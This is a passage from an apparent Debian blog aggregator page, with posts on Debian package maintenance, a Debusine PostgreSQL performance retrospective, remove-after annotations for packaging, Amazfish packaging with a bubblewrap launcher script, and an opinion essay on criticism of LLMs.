Ian Jackson reported that dput-ng could lose data when using the local install method (relevant in tests of other packages, for instance) and filed an initial merge request to fix it. I improved this to isolate its tests properly, and uploaded it.

groff

I upgraded from 1.23.0 to 1.24.1. 1.24.0 and 1.24.1 were the first upstream releases since 2023, and had extensive changes; I’d had the corresponding packaging changes in the works since January, but it took me a while to get round to finishing them off. It was good to get this off my list.

OpenSSH

I released bookworm and trixie fixes for CVE-2026-3497, and issued the corresponding BSA-130 for trixie-backports.

I upgraded from 10.2p1 to 10.3p1.

parted

I upgraded from 3.6 to 3.7. 3.7 was the first upstream release since 2023, but the changes were nowhere near as extensive as groff, so this was a fairly quick job. I also fixed the parted-doc package to ship proper API documentation.

Python packaging

New upstream versions:

I started an upstream discussion about how best to handle the pydantic and pydantic-core packages now that they share an upstream git repository.

Other bug fixes:

Rust packaging

New upstream versions:

YubiHSM packaging

I upgraded from 2.7.2 to 2.7.3.

Code reviews

11 May, 2026 12:25PM by Colin Watson

hackergotchi for Freexian Collaborators

Freexian Collaborators

Debusine workflow performance issues (by Colin Watson)

During March and April, we had a number of performance issues that made Debusine’s core functions of running work requests and reflecting their results in workflows quite unreliable. Investigating and fixing this took up a lot of time from both the Debusine development team and Freexian’s sysadmins.

The central problems involved a series of database concurrency and worker communication issues that interacted in complex ways. On bad days, this caused between 10% and 25% of processed work requests to fail unnecessarily. We communicated some of the problems to users on IRC, but not consistently since we didn’t entirely understand the scope of the problems at the time.

Most of the problems are fixed now, but we had a retrospective meeting to make sure we understood what happened and that we learn from it. Here’s a summary.

Data model

Debusine’s workflows consist of many individual work requests. Each work request has a database row representing its state, which means that the overall state of a workflow is distributed across many rows. Changes to one work request (for example, when it is completed) can cause changes to other work requests (perhaps unblocking it so that it can be scheduled to an idle worker). Those changes may happen concurrently, and in practice often do.

Workers typically need to create artifacts containing the output of tasks: these include things like packages, build logs, and test output.

Debusine records task history so that it can make better decisions about how to schedule work requests. Since this might otherwise grow without bound, the server expires older parts of that history after a while. The same is true for many other kinds of data.

Causes

  • Because workflows involve changes that propagate between work requests, there were historically some cases where different parts of the system could deadlock due to trying to take update locks on overlapping sets of work request rows in different orders. We mitigated that somewhere around 2025-11-05 by locking entire workflows in one go before making any change that might need to propagate between work requests like this; that dealt with the deadlocks, but it’s quite a heavyweight locking strategy that sometimes caused significant delays.

  • We’ve been working for some time to make Debusine useful to Debian developers, and regression tracking is an important part of that: it lets developers test uploads without being too badly misled by tests in related packages that were already failing before they started. On 2026-03-11 we enabled this by default on debusine.debian.net, after testing it for a while. Although this is useful, it put more load on the system as a whole, often approximately doubling the number of work requests in a given workflow with many additional dependencies between them.

  • Like much of the world, we’re in an arms race with unethical scrapers desperately trying to feed everyone else’s data into LLMs before they run out of money. We saw a substantial uptick here towards the end of March, which meant that we had to temporarily disable regression tracking and to put some other mitigations in front of our web interface.

  • We historically haven’t had systematic internal timeouts. Prompted by ruff, a Google Summer of Code applicant went through and added timeouts in many places, including some calls between the worker and the server. This was fiddly work and the student did a solid job, so I’m not putting them on blast or anything! However, it did mean that some things that came in under load balancer timeouts now timed out earlier on the client side of the request (and hence in Debusine workers), which made some problems show up in different ways and be more obvious. This was deployed on 2026-04-03.

Fixes

Workflow orchestration

Figuring out what individual work requests need to be run as part of a workflow - the process we call “orchestration” - can be challenging. Unlike typical CI pipelines, these workflows often span substantial chunks of a distribution: a glibc update can involve retesting nearly everything! Nevertheless, it’s not particularly helpful for it to take hours just to build the workflow graph.

Fixing this involved many classic database optimizations such as adding indexes and CTEs, but probably the most effective fix was adding a cache for lookups within each orchestrator run or work request. Profiling showed that resolving lookups was a hot spot, and the way that task data is often passed down through a workflow meant that the same lookup could be resolved hundreds or thousands of times in a large workflow.

Expiry

We knew for quite some time that our expiry job took very aggressive locks, effectively blocking most of the rest of the system. This was an early decision to make the expiry logic simpler by allowing it to follow graphs without worrying about concurrent activity, but it clearly couldn’t stay that way forever.

Row locks in PostgreSQL was very helpful in figuring out the correct approach here. Since we’re mainly concerned about the possibility of new foreign key references being created to artifacts we’re considering for expiry, and since that would involve taking FOR KEY SHARE locks on those rows, we can explicitly take FOR UPDATE locks (which conflict with FOR KEY SHARE), and then recompute the set of artifacts to expire with any locked artifacts marked to keep. This was delicate work, but it saved minutes of downtime every day.

Whole-workflow locking

I mentioned earlier that we avoided some deadlock issues by taking locks on entire workflows. To ensure that these locks are effective even against code that isn’t specifically aware of them, this is implemented by using SELECT FOR UPDATE on all the work request rows in the workflow. In some cases the search for which rows to lock itself tripped up the PostgreSQL planner.

Scheduling

We run multiple Celery workers for various purposes. Some of them can do many things in parallel, but in some specific cases (notably the task scheduler) we only ever want a single instance to run at once. Unfortunately a bug in the systemd service meant that the scheduler often ran concurrently anyway! Once we fixed that, the scheduler logs became a lot less confusing.

When Debusine was small, it was reasonable for it to perform scheduling very aggressively, typically as soon as any change occurred to a work request or a worker that might possibly influence it. This doesn’t scale very well, though, and even though we tried to batch multiple scheduling triggers that occurred within a single transaction, it could still make debugging very confusing. We reduced the number of changes that would result in immediate scheduling, and deferred everything else to a regular “tick”.

The scheduler may not be able to assign a work request to an idle worker due to the workflow being locked. That isn’t a major problem in itself; it can just try again later. However, in very large workflows, we found that it often worked its way down all the pending work requests one by one finding that each of them was locked, which was slow and also produced a huge amount of log noise. It now assumes that if a work request is locked, then it might as well skip other work requests in the same workflow until the next scheduler run.

Between them, these changes reduced the number of locks typically being held on debusine.debian.net by about 80%:

Lock graph

Worker refactoring

The Debusine worker has always been partially asynchronous, but while it was actually executing a task - in other words, most of the time, at least in busy periods - it didn’t respond to inbound websocket messages, causing spurious disconnections. We restructured the whole worker to be fully event-based.

We also had to put quite a bit of effort into improving the path by which workers report work request completion, because if that hits a timeout then it can mean throwing away hours of work. We have some further improvements in mind, but for now we defer most of this work to a Celery task so that whole-workflow locks aren’t on the critical path.

Database write volume

One of our sysadmins observed that our database write volume was consistently very high. This was a puzzle, but for a long time we left that unexplored. Eventually we thought to ask PostgreSQL’s own statistics, and we found a surprise:

debusine=> SELECT relname AS table_name,
debusine->        n_tup_ins AS inserts,
debusine->        n_tup_upd AS updates,
debusine->        n_tup_del AS deletes,
debusine->        (n_tup_ins + n_tup_upd + n_tup_del) AS total_dml
debusine-> FROM pg_stat_user_tables
debusine-> WHERE (n_tup_ins + n_tup_upd + n_tup_del) > 0
debusine-> ORDER BY total_dml DESC
debusine-> LIMIT 20;
              table_name              | inserts |  updates   | deletes | total_dml
--------------------------------------+---------+------------+---------+------------
 db_collectionitem                    | 1418251 | 3578202388 | 3630143 | 3583250782
 db_token                             |   15143 |   11212106 |   11389 |   11238638
 db_workrequest                       |  386196 |    6399071 | 1820500 |    8605767
 db_fileinartifact                    | 2783021 |    1837929 | 1663887 |    6284837
 django_celery_results_taskresult     | 1819301 |    1501623 | 1791656 |    5112580
 db_artifact                          |  960077 |    3340859 |  663890 |    4964826
 db_collectionitemmatchconstraint     | 1550457 |          0 | 2207486 |    3757943
 db_artifactrelation                  | 2229382 |          0 | 1363825 |    3593207
 db_fileupload                        | 1023400 |    1057036 | 1023346 |    3103782
 db_file                              | 1673194 |          0 |  970252 |    2643446
 db_fileinstore                       | 1411995 |          0 |  970259 |    2382254
 db_filestore                         |       0 |    2381578 |       0 |    2381578
 django_session                       |  645423 |    1519880 |     531 |    2165834
 db_workrequest_dependencies          |  365877 |          0 |  936537 |    1302414
 db_worker                            |   18317 |     949280 |    9487 |     977084
 db_collection                        |   10061 |         85 |  177741 |     187887
 db_workerpooltaskexecutionstatistics |   28721 |          0 |       0 |      28721
 db_workerpoolstatistics              |    1640 |          0 |       0 |       1640
 db_workflowtemplate                  |     130 |        158 |     649 |        937
 db_identity                          |      76 |        661 |       0 |        737
(20 rows)

Oh my - that’s a lot of db_collectionitem updates and must surely be out of proportion with what we really need. Can we narrow that down by asking about the most recently-updated tuples?

debusine=> SELECT DISTINCT category
debusine-> FROM db_collectionitem
debusine-> WHERE id IN (
debusine->     SELECT id FROM db_collectionitem
debusine->     ORDER BY xmin::text::integer DESC LIMIT 10000
debusine-> );
           category
------------------------------
 debusine:historical-task-run
(1 row)

That might not be absolutely reliable, but it was certainly a hint. As per PostgreSQL’s documentation, by default UPDATE always performs physical updates to every matching row regardless of whether the data has changed, and our code to expire old task history entries wasn’t doing that properly. Once we knew where to look, it was easy to add some extra constraints.

This reduced our mean write volume on debusine.debian.net from about 23 MB/s to about 3 MB/s, which had an immediate knock-on effect on our request failure rate:

Disk write graph

HTTP errors

Current state

Our metrics indicate that things are a lot better now. We still have a few things to deal with, such as:

  • Some more performance fixes are on their way to fix some remaining cases where views are very slow or where file uploads from workers fail due to locks.
  • We have some changes in the works to revamp how work request changes propagate through workflows in a way that doesn’t require so many heavyweight locks.
  • We have a number of monitoring and alerting improvements we’d like to make, both for outcomes (things like slow Celery tasks) and possible root causes (database performance). We’d also like to deploy some more modern observability tools; hunting for things using journalctl isn’t terrible, but it’s not really the state of the art.
  • We need to improve how we communicate to users when we’re having operational problems, both informally (IRC, etc.) and on the site.
  • Retries don’t always behave the way you’d expect in workflows.

I hope this has been an interesting tour through the sorts of things that can go wrong in this kind of distributed system!

11 May, 2026 12:00AM by Colin Watson

May 10, 2026

hackergotchi for Steinar H. Gunderson

Steinar H. Gunderson

MySQL hypergraph optimizer

MySQL released (well, flipped the default compilation flag for) the hypergraph join optimizer in the community builds; this was the main project I started and worked on while I was there, so it's nice to see even though it's been default in e.g. their cloud column store for a long time. You can read their blog post (though beware, likely-LLM text ahead).

(The cost model improvements and TPC-DS benchmarking are from after my time.)

10 May, 2026 09:14AM

May 09, 2026

hackergotchi for Dirk Eddelbuettel

Dirk Eddelbuettel

RcppSpdlog 0.0.29 on CRAN: Small Enhancement

Version 0.0.29 of RcppSpdlog arrived on CRAN today, has been uploaded to Debian and built for r2u. The (nice) documentation site has been refreshed too. RcppSpdlog bundles spdlog, a wonderful header-only C++ logging library with all the bells and whistles you would want that was written by Gabi Melman, and also includes fmt by Victor Zverovich. You can learn more at the nice package documention site.

This release features a rewritten internal routine unpacking the R variadic arguments into C++ variadic template arguments. This in turn allows to turn back to std::format in C++ mode when C++20 is used. We also adjust for the not-quite-ready-for-this state of the x86-64 based macOS machine at CRAN. It is running a compiler and SDK choice that cannot fully deal with C++20, so we dial compilation on it down to C++17. Similarly, and as we found out after the release, Ubuntu jammy is also too old to default to std::format so we need to add a better detection here too so that we can also fall back to the included fmt there.

The NEWS entry for this release follows.

Changes in RcppSpdlog version 0.0.29 (2026-05-08)

  • Some small continuous integration updates

  • The internal formatter was rewritten as a recursive generator of variadic templates.

  • Switch back to std::format with C++20, but force inferior macos-release-x86_64 to use C++17 rather than default C++20 which fails

Courtesy of my CRANberries, there is also a diffstat report detailing changes. More detailed information is on the RcppSpdlog page, or the package documention site.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can sponsor me at GitHub.

09 May, 2026 10:49PM

Jelmer Vernooij

Remove-after Annotations for Debian Files

deb-scrub-obsolete is a tool in the debian-codemods suite that tries to identify and remove cruft automatically. It knows about dummy transitional packages, superseded alternatives, and similar patterns it can detect by querying the archive. But some workarounds are too project-specific for a generic tool to recognise on its own.

Developers can leave structured comments in their packaging files that tell deb-scrub-obsolete when a particular line or block can be removed.

The Debian Janitor regularly runs various codemods like deb-scrub-obsolete on all vcs-accessible Debian packages. This means that if you leave a “remove-after: trixie” annotation in your package, you will automatically get a pull request to remove the annotated code once trixie has been released, without needing to remember to do it yourself.

The Comment Format

The annotations take the form of specially-formatted comments. For shell files (and by extension most maintainer scripts), a line-level annotation looks like this:

install -m 755 compat-wrapper /usr/lib/foo/  # remove-after: trixie

When trixie has been released, deb-scrub-obsolete will remove that line entirely. The comment can appear anywhere on the line — before or after other comments — and additional explanatory text can follow:

blah  # Trixie comes with blah built in # remove-after: trixie

For larger sections, block-level annotations bracket the code to remove:

# begin-remove-after: trixie
alternatives --add foo bar
alternatives --add foo bar1
# end-remove-after

These blocks can be nested, which is useful when one outer condition wraps several inner ones with finer-grained timing.

Expressions

The initial set of supported expressions is deliberately small. The main one is a Debian release name: remove-after: trixie means “once trixie has been released”. The condition is checked against distro-info <https://manpages.debian.org/trixie/distro-info/distro-info.1.en.html>_, the same data source that other Debian tooling uses to track release status.

The expression language is designed to be monotonic — conditions should only ever go from false to true, not back. A workaround that needs to be re-introduced after removal belongs in a new commit, not in an annotation. If deb-scrub-obsolete cannot parse an annotation it finds in a file, it leaves all annotations in that file untouched, to avoid a situation where related blocks are only partially removed.

Annotations can also carry a marker name — an arbitrary label with no spaces, commas, or the word “after” — which can then be passed to deb-scrub-obsolete on the command line. This makes it possible to trigger removal of a named set of annotations together, useful for coordinated transitions where several packages need to be cleaned up at the same time.

Future Extensions

The initial expression set is minimal; the design leaves room for richer conditions. Some candidates under consideration:

  • Whether a particular suite has a new enough version of a package (removing a Build-Depends version constraint once it is satisfied everywhere)
  • Whether a package has been removed from the archive
  • Whether all currently-supported releases contain a new enough version
  • Whether a Debian transition has completed

Compound expressions using “and” / “or” are also on the list, for cases where removal depends on multiple conditions being true simultaneously.

Status

The annotation format is specified but not yet implemented in deb-scrub-obsolete - it is planned for a future release. If you maintain Debian packages and have opinions on the annotation format or the expression language, feedback is welcome. The specification lives in scrub-obsolete/doc/scrub-annotations.md in the lintian-brush repository. Many thanks to Helmut Grohne for the initial suggestion and feedback on the design.

09 May, 2026 06:45PM by Jelmer Vernooij

Russell Coker

Packaging Amazfish for Debian

I have done some packaging work on Amazfish (the smart-watch software that works with the PineTime among others) for Debian. Here is my Git repository for libnemodbus (a dependency for Amazfish that isn’t in Debian) [1]. Here is my Git repository for Amazfish itself [2].

These packages are currently using QT5 which is a good reason to not upload them now as the transition to QT6 is in progress. Patching them to work with QT6 (as the libnemodbus upstream is apparently not migrating to QT6 yet) shouldn’t be that difficult but is something that needs some care and communication to get it right.

Running this package on my laptop with my PineTime (which worked very reliably when run by GadgetBridge on Android) wasn’t reliable and the PineTime would disconnect and refuse to connect again. Doing it on the Furilabs FLX1s gave a similar result. If Amazfish was the only Bluetooth program having problems on my laptop and on my FLX1s then I’d blame it, but both those systems have some other Bluetooth issues.

Running this on my laptop Amazfish would send it’s own test notifications to my watch but system notifications (from notify-send among others) wouldn’t get sent. Running this on my FLX1s I got ONE notification from my network monitoring system sent to my watch before my phone and watch stopped talking to each other.

To make things even more difficult for me the harbour-amazfish-ui program doesn’t work correctly with the libraries installed on my FLX1s and doesn’t display the content of many screens but it works correctly when running in a container environment with stock Debian/Testing.

Below is the script that I’m currently using to launch apps in a Debian/Testing container on my FLX1s. The comment about unshare-user doesn’t apply to this version of the script but I left it in to avoid the potential for future confusion. The Furilabs people diverted the bwrap binary and have a wrapper that removes a set of parameters that they think will cause problems.

#!/bin/bash
set -e

BUILDBASE=/chroot/testing

# bwrap: Can't mount proc on /newroot/proc: Device or resource busy
# get the above with --unshare-user and --unshare-pid
exec bwrap.real --bind /tmp /tmp --bind /run /run --bind $HOME $HOME --ro-bind $BUILDBASE/etc /etc --ro-bind $BUILDBASE/usr /usr --ro-bind $BUILDBASE/var/lib /var/lib --symlink usr/bin /bin --symlink usr/sbin /sbin --symlink usr/lib /lib --proc /proc --dev-bind /dev /dev --die-with-parent --new-session "$@"

Due to the range of problems I’m having I think it would be best to pass this package on to someone else who has a different test setup. It could be that further testing will reveal that my issues are related to bugs in Amazfish but I can’t prove it either way at this time. Maybe when using a smart watch other than a Pine Time it will work more reliably but it seems most likely that my laptop and phone are to blame. I can’t make more progress on this now.

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09 May, 2026 12:04PM by etbe

Bad Criticism of LLMs (not AI)

Discussion of “AI” systems seems to be dominated by fears of uncommon and unlikely threats. I think that we should be focusing more on real issues with LLMs and with society in general and put the most effort towards the biggest problems.

It’s Not AI

True Artificial Intelligence [1] (IE a computer that has the mental capacity of a household pet) is something that I think can be developed, but it hasn’t been developed and we don’t have good plans for developing it. We seem to be a lot further away from achieving that goal than we were from landing on the moon in 1962 when JFK gave his historic speech.

What we have is a variety of pattern recognition systems that can predict what fits into a pattern. The most well known type of Machine Learning (ML) is the Large Language Model (LLM) which means ChatGPT and similar systems which predict which text would be likely to come next and can make an essay from it. They can give interesting and useful output, but there is no thought behind it, it’s just a better form of Eliza (the famous program from 1964 that simulates conversation by pattern matching) [2]. By analysing billions of documents, storing the data in a condensed mathematical way, and then using computation to extract from that record LLMs can produce output that is unfortunately considered by some people to be good enough to include in legal documents submitted to courts, university assignments, and many other documents. But they do so without even having the thinking ability of a mouse.

To call current systems “AIs” without any significant qualifiers when criticising them is to concede the debate about the worth of such things.

If we develop AIs that can actually think we will have to deal with the issues in the SciFi horror short story Lena by qntm [3].

The Bad Arguments

Here is a list of some of the most unreasonable arguments I’ve seen against “AI” which distract attention from real problems both related to “AI” and other problems in society.

Suicide and Homicide

Wikipedia has a page listing Deaths Linked to Chatbots [4] which right now has 16 entries from 2023 to Feb 2026. They are all tragedies and as a society we should try to prevent such things. But what I would like to see from the media is some analysis of overall trends, yes it gets people’s attention when someone dies in an unusual way but we need to have attention paid to the more numerous deaths which are preventable. It has become a standard practice to give information on Lifeline in media referencing suicide, it would be good if they also developed a practice of mentioning the relative incidence of a problem when publishing an article about it.

One of the many factors that cause more suicides than chatbots is school, Scientific American has an informative article from 2022 about the correlation between child suicide and school [5]. It is based on US statistics and shows that the lowest suicide rate is in July (a no-school month in the US) which has a rate of 2.3 per 100,000 person years. So if kids had a quality of life equivalent to July all year around then there would be 2.3 suicides per 100,000 kids every year while if they had a quality of life equivalent to a Monday in January or November it would be 3.9 suicides per 100,000 kids every year. The article states “Any time I present these data to teachers, parents, principals or school administrators, they are shocked. This should be common knowledge.” It is common knowledge to anyone who takes any notice of what happens in schools, but paying attention to serious problems is unpleasant, it’s more fun to pretend that school is good for everyone. No parent wants to think that they sent their child to a place that was horrible, no teacher wants to think that they are part of a system that harms kids.

The US CDC has an informative article about youth suicide [6] which documents it as the 3rd largest cause of death in the 14-18 age range fro 2021. This article was published in 2024 and based on statistics from 2023 and earlier. It notes significant differences in suicides, attempts, and “persistent feelings of sadness or hopelessness” which had girls at more than twice the rate of boys and “LGBQ+” kids at more than twice the rate of “heterosexual” students. It seems obvious that misogyny and homophobia is correlated with suicide and that’s something that could and should be addressed in schools. My state has a Safer Schools program [7] to try and alleviate the problems related to homophobia, but I expect that things are getting worse in the US in that regard. 39.7% of kids in US high schools had “persistent feelings of sadness or hopelessness” before LLMs became popular, school could and should be a happy time for the vast majority of kids but instead almost half of the kids don’t enjoy it and a majority of girls and “LGBQ+” kids don’t. Having no mention of trans kids is a significant omission from that article, based on everything I’ve heard from trans people I expect that their statistics would be even worse.

One could argue that the small number of deaths inspired by use or misuse of LLMs is an indication of a larger number of people suffering in ways that don’t result in death and don’t get noticed. But I don’t think that can compare to the fact that the majority of girls and “LGBQ+” kids have “persistent feelings of sadness or hopelessness” in the current school system.

Regarding homicide, the Australian Institute of Criminology has an article showing that in the 2003-2004 time period 49% of women who were killed were listed as a “domestic argument” [8], that’s something that could and should be addressed. That article claimed 308 homicide victims in that time period which is larger than the world-wide death toll from LLMs but also less than 1/3 the death toll from car accidents in Australia. Australia has less than 0.4% of the world population, a fairly low homicide rate, and a number of homicides that vastly outnumbers all world homicides related to LLMs.

I think it’s great to address any cause of suicide or homicide, but devoting government resources and legislation towards very uncommon causes instead of things that happen every day is not a good strategy. It would be fine to address all factors leading to suicide, but problems with the school system have been a major factor for decades with little effort applied to fix it.

Fraud and Other Crime

There is evidence of criminals using LLMs to help prepare for crimes, the ability to generate large amounts of text quickly can be used for fraud and extortion. This is going to be a serious problem and we need structural changes to society to deal with it. There is an ongoing issue of scammers convincing older people that their child or other young relative is in trouble and a large amount of cash is required to address it. This sort of scam as well as the more well known “Nigerian” scams will probably become more common as the cost of running them decreases. This may be more of a problem for people in developing countries as currently a common scam business model is to have people in regions where wages are low (such as Pakistan for one who I spoke to) scamming people in relatively wealthy countries like Australia so an attack with a low probability of success is financially viable. Cheaper attacks will make less affluent victims financially viable to the scammers.

While writing this post I received a financial scam phone call trying to get me to invest in SpaceX that was run by an “AI” chat system, I expect to receive more of them and this is something that needs to be dealt with via both technical measures and legislation.

Do we have to accept less freedom and less anonymity in finances as a cost of reducing financial crime? Greater restrictions on the use of cash would make some crimes more difficult or less profitable for criminals. As a society I think we need to have a discussion about a balance between financial freedom and freedom from criminal exploitation, failing to have such a discussion is likely to lead to policies which don’t work well.

Also one thing that ML systems are good at is recognising patterns in data. Banks could scan all their transactions and look for patterns that correlate with fraud. They currently do this badly and do things like locking credit cards when someone goes to another country and spends money. They could do a better job of that and involve the police in cases of obvious fraud even when the customer doesn’t realise that they are a victim.

This isn’t a reason to criticise “AIs”, it’s a reason to plan defensive technology that matches the capabilities of attackers.

As an aside I used to work for a company that was developing “AI” software to scan bank phone calls and allow banks to recognise employees who acted illegally. Unfortunately the Royal Commission into banking misconduct [9] didn’t impose any penalties that gave the banks a financial reason to avoid criminal activity.

Unemployment and Inequality

There are many claims about AI systems making large numbers of jobs obsolete, some of them are outlandish such as the claims that all white-collar jobs will be obsolete in the near future. There are some reasonable claims like the ability to replace some mundane jobs.

Replacing jobs that suck with computers, robots, and other machinery is a good thing! Very few people wish that they were working on a farm without a tractor. In 1900 it’s estimated that between 60% and 70% of the world labour force worked in agriculture and 40% of the US labour force did so. Now it’s something like 27% globally and between 1% and 3% in developed countries. Automated factories are also a good thing, it’s best to avoid boring and dangerous work.

The most plausible claims about job replacement from “AI” is jobs that involve analysing and summarising documents. One example that comes to mind is the worst kind of journalism where press releases from companies are massaged into the format of a feature article. I don’t think anyone wants that sort of job and doing it with “AI” hopefully means no human has to sign their name to it.

For work like programming few people will be directly replaced by “AI” but if people can do their work more efficiently while using it then less people are required. I don’t think that any programmer likes the part of their job where they have to skim read long documents looking for a clue about how to solve a problem with a library or protocol. A LLM processing the document and finding the potentially useful things will take away the drudgery from the work and allow greater productivity.

The trend in replacing people has been making people work longer. If you force all employees to work 60 hour weeks then that can theoretically allow hiring fewer people than having 40 hour weeks. For some work that applies but for skilled work it mostly doesn’t as productivity and work quality on average drops when people work more than 40 hours in a week.

Another trend for exploiting people is having a low minimum wage and making accommodation expensive so that many people need to work two jobs. What we need is legislation to restore the situation in the 70s where a single full time job was sufficient to provide for a family. The low minimum wage and high expenses for many things is a problem that’s been slowly developing over the course of decades while being mostly ignored by journalists. If they could concentrate on the real issues that are hurting workers today they could incite political action to fix these problems.

Academic Cheating

There is no shortage of ways of cheating in school and university. There are people who are paid to write essays, mobile phones are used for cheating in exams, etc. Getting an “AI” to write essays makes it easier to cheat for the essay writing part but does so with lower quality and in a less stealthy way.

What’s the worst case scenario? That we have to change to oral exams for all university subjects?

In the US the average annual price for tuition at a university is apparently $25,000, if each student had individually supervised assessment for their exams at a cost of $100 per hour it would make the degree cost 4% more. The cost of university in the US is unreasonably high and that’s a problem that needs to be fixed, but a hypothetical case of increasing the price by 4% isn’t going to be a major part of it.

Weak Arguments Against “AI”

Computer Security Attacks

There have been many claims made that “AI” will break the security of all systems and cause the type of disruption that was previously predicted for year 2000. Bruce Schneier has written a good analysis of the issues including how “AI” can be used by both attackers and defenders [10], he doesn’t have a strong conclusion on whether the net result will be good or bad but his article does make it clear that the result is not going to be a total disaster.

While I was working on this post I read another post by Bruce Schneier that was significantly more negative about this issue [11]. While I still don’t think this will destroy civilisation I found his other post convincing enough to move computer security from the bad argument section to the weak argument section.

Spidering the Web to Death

There are issues of bots from “AI” companies doing a bad job of trying to download all the Internet’s content and using a lot of resources. When it was just the major search engines and the Wayback Machine doing it the load was small due to having a small number of organisations that were very good at the way they did it having evolved practices over many years. Now we have a lot of idiots doing it badly and repeatedly hitting generated content.

This is really annoying but is something that we can deal with. Currently my blog and many other sites are hosted on a Hetzner server with a E3-1271 v3 CPU with 32G of RAM and there are occasions where more than half the CPU power is being used to service web requests from such systems. Even on the “server bidding” (renting servers previously used by other customers) Hetzner isn’t offering systems so slow nowadays, the slowest they offer is about 20% faster than that. This is something that can be dealt with by spending a little more on hosting until the companies doing that go bankrupt.

I’m sure this is a serious problem for some people, but for most people it’s not a big deal. Also hostile traffic on the Internet is something we have all had to deal with as a part of life since the mid to late 90s.

RAM Prices

The unreasonably high prices for RAM are annoying and hurt the development of useful computer projects. Big companies can afford it, even with current high prices and large quantities of RAM used for some servers it’s still not significant. But it is a major issue for hobbyists and small projects. Things like setting up a dozen test VMs for FOSS development are now too expensive for many people who develop software in their spare time.

But this is a temporary thing, if AI companies were to keep buying RAM at high rates for a few years companies would just manufacture more of it to meet demand. In some situations capitalism can work.

Environmental Damage

There are many people claiming that power used by data centers for “AI” will lead to environmental damage, using power and water when there isn’t enough.

The trend of computer hardware is to get smaller and faster. It hasn’t been going as fast as it used to in many areas but it hasn’t stopped either and it’s an exponential trend. There has been an increase in data centers (DCs) for “AI” use as the use has been increasing faster than the hardware gets smaller. Eventually they will stop increasing faster than advances in hardware and software can match and the size of DCs will decrease.

As the production of renewable energy is increases the environmental cost of energy hungry industries decreases. In a few years this won’t be an issue anyone is bothered about.

False Claims About Danger as PR

Jamie McClelland makes an interesting claim that the AI companies are pushing dangers of “AI” as a method of PR [12]. That seems plausible and combined with the tendency of many journalists to just massage press releases from companies into articles could be the reason for a lot of the bad arguments against AI.

Good Arguments Against AI

Spam Everywhere

I’ve previously written about Communication and Hostile AIs [13]. I think that filling all communication channels with rubbish is a denial of service attack against society.

In the past communication took some effort, even the simplest email that was directly targeted at the recipient took some human effort and that reduced it’s frequency. I get a lot of spam saying something like “I see your web site doesn’t rank in the top for Google searches” while my web site in fact rates well and the actor named Russell Coker is ranking below me, so I know that such spam hasn’t had the minimum of human involvement. Now a spammer who wanted to do a better job could get an LLM written spam for every target so the message was specifically aimed at them and would take much longer to be recognised by a human as spam and would also avoid most anti-spam software.

Searching for businesses used to be easy, the phone book had listings for them and there was a real cost to being in the book as well as humans actively trying to stop fraud. Creating fake web sites to get business isn’t too difficult but it’s also not trivial at the moment and such fake sites won’t look complete. Now with LLMs it’s possible to create hundreds of sites that have content and look reasonable without human involvement. Instead of the small number of suicides and homicides inspired by “AI” chat systems we should probably be concerned about people who need psychological or medical advice being misled by bogus web sites created as part of fraud campaigns. Imagine people searching for mental health assistance finding web sites run by cults who oppose psychology as a profession. Imagine people searching for basic medical advice such as how to cook a healthy meal getting sucked in to web sites that start sane and then lead people to Ivermectin as a universal medicine.

LLMs have the potential to take spam from quick and simple attacks to large scale targeted fraud aimed at people and organisations that don’t have the resources to defend against it. There have been many reports of CEO impersonation fraud against major corporations aiming to steal hundreds of thousands of dollars and fraud against individuals who are persuaded to get amounts like $50,000 to help a relative who is allegedly in a difficult situation. But if every corner store experienced the same type of attack that CEOs experience and if every child had someone trying to steal the pocket money in the same way that relatively wealthy people are being targeted now it would really change things.

David Brin wrote an insightful and informative blog post about this focusing on how “AI” generated content is being allowed to destroy YouTube [14].

Deep Fakes

There is some overlap between filling all communications channels with rubbish (fake news etc) and deep fake. Making a fake photo of a politician or celebrity to lobby for legislative changes is a real issue but it’s not what most people think of when the term “deep fake” is used.

Using photo and video faking targeting non-consenting people is a serious issue. It’s not just fake porn (which is a major issue and will cause some suicides) as there are many other possibilities. Fake videos showing behaviour that justifies sacking people from their jobs is going to become an issue, for people in public facing positions even proof that the videos are fake won’t necessarily help them.

Will we find ourselves in a situation where every politician gets deep-fake porn made of them and the only people who run for public office are ones who are cool with that? Will positions of leadership in the technology industry be restricted to people who aren’t bothered by having the most depraved fake porn made of them?

The Justice System

We have seen a lot of evidence of law enforcement and the court system based on bias leading to bad results. The Innocence Project attempts to correct that and it’s web site documents some of the things that have gone wrong [15]. Using “AI” systems to do some of the work of law enforcement by training computers on the flawed results of current systems can entrench bias and also make it harder to spot.

When determining whether someone should be considered a suspect or whether a prisoner should be eligible for parole the number of factors that a human can use is limited. But a computer can take many more factors into account so the issues of whether inappropriate factors are being used can be masked. Computers are also unable to explain decisions that they made and are also able to come up with better fake reasons.

In the past there have been racist policies in the US about banks not lending to people living in suburbs where most houses were owned by non-white people, these policies were documented and the documents have become part of the historical record showing racist policies. If a LLM decides not to lend money to people based on mathematical correlations it determined based on historical banking practices it could assign negative weights to factors such as non-English names and implement the racism in a large array of numbers with no proof.

The current cases of lawyers getting LLM systems to do some of their work and having their incompetence revealed when the computer generated work is shown to be ridiculously bad are amusing. But that is not the real problem. The real problems will start when the computers in police cars start flagging every car owned by a non-write person as having a “probable cause” for a drug stop.

Technically Not Financial Fraud

The majority of the ecosystem around “AI” is a financial scam [16]. There are companies and individuals doing good things with machine learning some of which is based on hardware and software developed as part of this ecosystem. But the majority of it has no plausible path to profits and a the future of it inevitably ends with some bankruptcies. There are circular flows of money that have the major cloud providers and NVidia looped in, when the values of these companies correct it will become apparent that they have all burned a lot of money keeping this running and all the senior people have got a share of it (the entire purpose of stock options is to allow senior people to suck money out of the company). Then every cloud provider will increase costs while under chapter 11 and all the companies that depend on them will pay whatever it takes. That includes all major companies and most governments. Unlike the dot-com boom and crash and the housing crash the coming financial crash will impact every company that we deal with and most governments. So the people in first-world countries will effectively be taxed to pay for this scam while the executives go party in Monaco. This may seem like an extreme claim but it all happened before with the dot com crash and the housing market crash.

The CEO class has an ongoing practice of doing things that aren’t crimes because they lobby (bribe) politicians to make them legal. So the current stock market shenanigans around “AI” don’t seem to involve things that governments consider to be crimes. But any normal person might be surprised to learn that such things are legal and most people would vote for such things to be crimes if they had the opportunity.

A global financial crisis is the least of the problems that seem likely to afflict society from “AI” systems. But it will be more immediately obvious when it happens – which could be this year!

Propaganda

Creating art requires skills that the type of people who want to create propaganda tend to lack. “AI” technologies allow creating “art” that is based on mathematical models of actual art to the requirements of the person running the program.

